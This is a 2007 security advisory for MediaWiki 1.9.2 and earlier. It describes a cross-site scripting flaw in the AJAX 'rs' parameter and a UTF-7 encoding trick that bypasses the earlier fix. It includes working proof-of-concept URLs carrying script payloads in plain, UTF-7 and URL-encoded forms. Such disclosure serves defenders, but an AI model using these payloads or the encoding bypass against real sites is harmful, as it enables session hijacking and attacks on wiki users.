Vulnerabilities.


Date:
18/02/2007

Vendor:
MediaWiki

Vulnerable versions:
MediaWiki 1.9.2 (latest) and below.

Description:
MediaWiki v1.8.2 and below are vulnerable to plain Cross-site scripting attack by expliting the experimental AJAX features, if enabled (default). This XSS was fixed in post 1.8.2 versions (1.8.3, 1.9.0rc2, 1.9.0, 1.9.1, 1.9.2). This fix can be bypassed by encoding the XSS exploit to UTF-7. note: browsers encoding auto-detection has to be enabled for successful explitation.


Proof-of-concept:
http://[Host]/wiki/index.php?action=ajax&rs=[XSS] 
UTF-7 XSS in post 1.8.2 versions. 

Examples:
v1.8.2 and below:
http://[Host]/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('http://www.bugsec.com')%3C/script%3E 
v1.8.3 - v1.9.2
http://[Host]/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open('http://www.bugsec.com');+ADw-/SCRIPT+AD4- 
http://[Host]/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%2D%2F%53%43%52%49%50%54%2B%41%44%34%2D (URL Encoded)
